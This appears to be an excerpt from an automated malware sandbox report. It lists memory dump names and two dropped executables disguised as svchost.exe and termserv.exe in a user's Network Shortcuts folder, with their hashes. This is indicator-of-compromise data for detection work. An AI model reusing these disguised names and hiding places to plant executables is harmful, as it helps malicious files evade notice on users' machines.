memory/1812-15-0x0000000000400000-0x0000000000423000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\svchost.exe

MD5 ad6269fd2b94fa1ad58f4755c288eed2
SHA1 736be980a1170d6fbc63ee02bd7dde14fb860513
SHA256 18b723836baba860e45cb4cebd01dfecd71f318d88518baf2f0fa41b3bb8a704
SHA512 0ede581e7e6153612c63b8fce40f9e3bbd415f541800c9f57167f09f57fca657e59eff34db647b24bd7ef2eb8d3bb5a67244864cd2e49ec22b22ea692df1c3dc

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\termserv.exe

MD5 382cebd78ad354b1dfd91dc8176615f6
SHA1 5c734f779cf23cee4d7260a0eee3ce1ed888f1c0
SHA256 067f0765790c0e75c3774f4c5890ddacb8b99ecd6f80743d68aad9d34de8b445
SHA512 650a3be640baac30d3c36185048c6f4e5b2536cf0086b49386ea7149c7148cc1ce4f12c7832ddb2520677d67f15214b0c8e41c0eed5938b0283b1374f6bdd197

memory/1812-24-0x0000000000400000-0x0000000000423000-memory.dmp